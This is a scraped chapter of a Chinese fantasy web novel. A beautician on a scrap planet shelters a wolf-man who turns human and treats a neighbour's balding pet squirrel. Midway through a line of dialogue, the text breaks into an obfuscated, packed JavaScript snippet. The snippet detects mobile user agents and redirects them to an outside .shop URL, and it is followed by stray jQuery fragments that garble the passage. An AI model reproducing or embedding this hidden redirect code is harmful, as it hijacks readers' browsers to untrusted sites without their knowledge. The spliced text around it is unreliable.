文趣网 > 其他小说 > 穿到垃圾星开美容店 > 2. 靠手艺征服他她它
    该来的总会来的。

    她走到帘子前,从左边掀开一个小角,恰好挡住西装男试探的目光。

    床的轮廓慢慢被拉开,原本躺在上面的狼人,现在已消失不见,只留下一个空荡荡的床。

    南淞眼神微颤,手上动作没停,把帘子整个拉开:“差不多就是这些。”

    西装男扫过一眼,都是美容店常见的洗护套装和工具,临走前上下打量着南淞,随后对那群人说:“走吧,下一个星系。”

    见他们走远,南淞心里的石头才落了地,心跳自从被日复一日的工作占领后,已经很久没想刚刚那样激情澎湃地跳起来了。

    把床归回原位并踩下固定器,她低声自语道:“怎么不说一声就走了,好歹我也算是你的救命恩人吧。”

    没来得及多想,店里的进门铃响起,有客人来了。

    她立刻拉起职业微笑,转过头才发现,是那头狼回来了,他自顾自走到腿边,用尾巴轻扫南淞的小腿肚。

    “你刚刚去哪里了?”她蹲下身子,有些诧异。

    找准腰部上的伤口,把昨晚上过药粉的地方检查一遍,虽然情况还是有些差,但已经消肿不少。

    对方琥珀色的眼睛望过来,鼻子凑在她的身上,把脸跟颈窝闻了个遍。

    被嘴筒子一直戳着往后靠,实在受不了,上手把狼往远推了些:“你到底是狼,还是猫?”

    脸上被他弄得沾满了毛,用手背向外搓开,定睛一看他不知从何处变来了一张床单盖在背上。

    只是眨眼的瞬间,乖顺的狼变成一个男人,在震惊之余,还顺便感叹一下他的长相,放到她的世界线,准是一个当红炸子鸡来的。

    男人正要站起来,吓得她的头立刻往外撇,闭上眼生怕看到些不该看的东西。

    在心底数过十秒后,才敢缓缓睁开眼睛,仰起头发现他用床单紧紧包裹着自己,耳朵跟尾巴没收得回去,毛绒绒的挂在外面。

    南淞试探着开口:“你能听明白通用语吗?”

    狼人直直地看着她,点点头。

    “那你会说话吗?”

    他又点头,但没开口,南淞想他可能是喉咙受损,或者单纯不想说话,不过没关系,能沟通就行。

    “我叫南淞,是这家美容店的主人。”她指了指头顶的天花板,“昨天你伤的比较严重,我把你救了回来,用了......”

    南淞斟酌了一下,换了个词:“一些药膏,你现在暂时安全了,只不过平时也要多注意睡眠跟休息,不然状态还是会继续坏下去的。”

    突然,他的肚子不合时宜地发出一阵咕噜声,南淞视线下移,发现从捡到他开始,差不多24小时没吃任何东西了。

    “抱歉,我忘记了。”她拉下拉链,从里面拿出面包给他吃。

    原本想给能量块的,但念及他是伤员,还是给点好为主,以后再跟她共进能量块晚餐也可以。

    他吃得心急,呛到嗓子连咳好几声,南淞走过去给他倒了杯水。

    他咽下去后,放下手中空了的面包袋,郑重其事地对南淞说:“燕铮,我的名字。”

    “燕铮?”

    他没有解释更多,南淞也懒得追问,点了点头:“你想留在这里,还是回去?”

    燕铮的失眠极其严重,睡觉对他来说是奢侈品,是遥不可及的东西,曾经在无光、无声的高级套房里,都能一直睁眼到天亮。

    却在昨天昏迷后,睡到了有史以来最舒服的觉,没有乱七八糟的噩梦,也没有突然惊醒的悚然。

    他下定决心要留在这里,对南淞说:“我不走。”

    得到答案的速度,有些出乎意料,于是把心中规定好的原则问题事说出来:“既然你要留下,就不能白吃不干,念在你是伤员,外出的活就不用你去,留在店里帮我看着。”

    “第二,我们在生物跟性别都不同,相处的时候要多注意,等会我去把杂物间收拾出来,在我赚到钱之前先委屈你住那边,赚到钱之后再帮你添房间,所以帮我赚钱也是帮自己。”

    “第三,这里的物资很少,你又没有星际户口,算是黑户,只能分我的物资,所以在这个家里,你要喊我老大。”

    “啊?”燕铮轻声发出疑问。

    她沉浸在即将成为老大的快乐中,完全没注意到表情越来越难以言喻的燕铮。

    “最后,也就是最重要的一点,千万不能向别人说出你的来历。”

    燕铮对这条没意见,却多问她一句:“为什么要救我?”

    “看到了就救了。”南淞耸耸肩,“来这里的人都是被抛弃的,所以我不想见死不救,让生命再被抛弃一遍。”

    燕铮没再说话,他低头看着杯子里晃动的水面,把耳朵跟尾巴收起来。

    店门口突然响起急促的敲门声。

    “南淞!南淞在不在!”

    南淞在里面装电池,喊燕铮去开门,他放下手中已经空了的杯子,把面包袋子扔到垃圾桶里,快步走过去将门打开。

    来人抱着手里奄奄一息的松鼠,差点撞上面前的一堵“大墙”。

    “南......诶,你是谁啊?”她蹙起眉:“南淞人呢?”

    “来了来了。”她赶紧从后面跑出来。

    那人见到南淞像是看见了如来佛祖,拖着哭声就把怀中的松鼠递过去。

    “大雪前几天后背就秃了一块,我没太在意,现在快变成地中海了,它最近食欲什么的也不好,听那个捡垃圾的老伯说你能帮着看看,哎哟!我孤独了这么久,好不容易有个伴,可不能死了啊——”

    见人情绪激动,燕铮主动递过去纸巾,她拿走时说了声谢谢,擦去眼角上的泪水。

    松鼠很乖,依偎在怀里不哭不闹,南淞仔细看了看后背秃掉的地方,暂时没出现红肿的情况,便对她的主人说。

    “有可能是真菌感染,也可能是营养不足,我先给它全身洗个澡,再上个舒缓的芦荟胶,总价50星际币。”

    松鼠主人想都没想,一口答应:“没问题没问题,我出来得急没带钱,现在马上回去取,你先给它洗着,辛苦了。”

    门一开一合,南淞抱着它走到洗浴室,拿出一个浅口盆,打开热水器,把净化注入到温水中,顺着松鼠的后背淌下来。

    它似乎感受到某种能量进入体内,原本紧绷的四肢开始逐渐放松,南淞的指尖加大力度,揉开不舒适的区域。

    松鼠眯起眼,开始享受这项疗愈手法。

    “你真厉害。”松鼠主人不知何时站在门外,眼神紧盯着一刻都不曾离开,“大雪从我捡到它开始,身上就总有点脏,我放水要给它洗澡,刚碰到水就会立刻跳走,抓都抓不回来,久而久之,我也就不敢给它洗了。”

    南淞一手挤泡沫,一边跟她说:“洗的时候尽量要温水,然后手法要温柔,要是怕它挣扎可以用虎口控制好他的上半身,像这样。”

    她停下揉泡沫的手,给主人展示了一遍。

    “欧,原来如此。”她从松鼠上移开眼神,“对了,我叫沈薇,住在A区的3号楼。”

    “我就住在店里,有需要随时找我。”南淞用温水冲干净泡沫,再拿软毛巾把它包起来,抱到外面的风干台上。

    沈薇给她让出位置,随后又一步不离地跟上去。

    “我听老伯说,这家店只有你一个人来着,那他是谁啊?”她暗暗指向燕铮问。

    南淞从柜台里拿出吹风机,往沈薇指的方向看过去,勾了勾嘴角说:“捡的流浪狗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747844|209359||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    “捡的?”她半信半疑,但没多想,垃圾星上什么都有人捡,捡到个人也不算稀奇,只是多看了几眼,感叹一句:“他的头发真顺。”

    南淞抹上最后的芦荟胶,对她说:“好了,大雪回家吧。”

    松鼠状态肉眼可见的好上许多,绷着步子就跳回到沈薇手边。

    她拿出钱袋递给南淞,里面足足有一百块,掂着分量就不对,她打开一看果然是给多了,而且给的太多了,连忙跑出去喊住她。

    “沈薇,钱忘记找给你了,稍等一下!”

    “不用,就当是感谢你的了。”沈薇没回头,抱着康复的松鼠回家。

    她看着那一百块钱,知道住在A区的人都比较有钱,但不知道有钱到这种地步,早知道多送一个毛发护理了。

    南淞回去的时候,在心底里对自己说,下次见面了一定要记得送。

    不过有了这笔钱,前几天被自己弄坏的蒸馏机就能预定一个升级版的,她一直想蒸馏出精油,这个东西是万金油,任何时候都能派上用场。

    之前的阉割版,质量差得惊人,刚烧开水就从底部裂开了,心疼了好一阵。

    她拿着钱准备去五金店,又有人敲门:“你好,南淞在吗?”

    今天生意这么好?

    南淞有些疑惑,但秉着客人都是上帝的原则,放下一百块星际币过去开门。

    这个面孔熟悉,是菜市街的物流人员,他提着一兜子东西说:“这个是沈小姐给你定的物资,一捆青菜、半斤牛肉、半斤生米,还有些调味品,你对一下数量。”

    南淞被眼前的东西惊得合不拢嘴,她已经快忘记正常食物长什么样了,三个月像个出家人似的吃得清心寡欲,见到这些东西,才想起来原来自己还是个人。

    “你好?”那人见南淞迟迟没有动作,便开口提醒,“要是没问题,麻烦签收一下,我还要送下一家。”

    “没......没问题。”她迅速接过,生怕这是一场梦。

    门再次关上,南淞声音有些缥缈:“燕铮,我们,有饭吃了。”

    燕铮低头看了看袋子里的东西,轻声嗯了一下:“那我去做饭。”

    “你会做饭?”她有些惊喜。

    在美容店的时候,提成都是跟客人的数量跟办卡的质量挂钩,大环境差的那几年,每个美容师都铆足劲争客户,你多休息一点,钱就少一点。

    在那种环境下,自然要压缩时间,所以她的饭从来都是小吃店跟外卖承包了。

    做饭功力几乎没有。

    “会一些,别人的饭做得不合口味,偶尔就会自己做。”

    燕铮熟练地择菜、洗菜、切肉,拿出调味品一顿爆炒,一顿色香味俱全的两菜一汤端上饭桌。

    要换做以前的南淞,肯定会拿出手机一顿拍照,但是没有通讯器的问题,显然限制了这个习惯。

    她夹起一片牛肉放进嘴里,烫得直呼气,却还是竖起大拇指口齿不清地说:“真香!真好吃!”

    简直是此生惊艳,全世界最好吃的三个菜就在这张饭桌上。

    往后一连几天,每个晚上六点半准时有人送菜,而且都是沈薇。

    南淞想去登门道谢,却又不知是三号楼的那一层,想着能在楼下等着,却因为站的时间太长,被保安认为是可疑人员赶了出去。

    解释了很久,但没有任何成效,看着A区大门关闭的那一刻,心灰意冷地回店了。

    燕铮又在厨房做饭,虽然每天都是同样的食材,他却能做出花来,所以晚饭又成了南淞在一天里最期待的时间。

    她在饭桌上说:“以后,你管我吃饭,我管你睡觉。”

    “这话听起来怎么怪怪的。”燕铮倒汤的手一顿。